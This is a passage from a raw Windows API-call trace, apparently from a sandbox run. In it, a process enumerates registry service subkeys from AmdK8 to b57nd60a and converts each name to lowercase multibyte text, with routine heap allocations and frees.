BaseAddress=0x21f1e38) returned 1 [0253.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.727] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0253.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0253.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0253.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0253.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0253.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0253.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0253.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0253.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.729] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0253.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0253.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.729] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0253.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0253.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.729] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0253.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0253.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.729] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0253.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0253.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.730] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0253.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0253.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.730] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0253.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0253.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.732] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0253.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0253.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.732] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0253.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0253.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.733] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0253.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1e38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0253.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.733] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0253.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0253.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.733] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0253.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0253.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0253.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0253.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0253.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0253.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1e38, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0253.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0253.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0253.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0253.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0253.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0253.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0253.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0253.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.735] 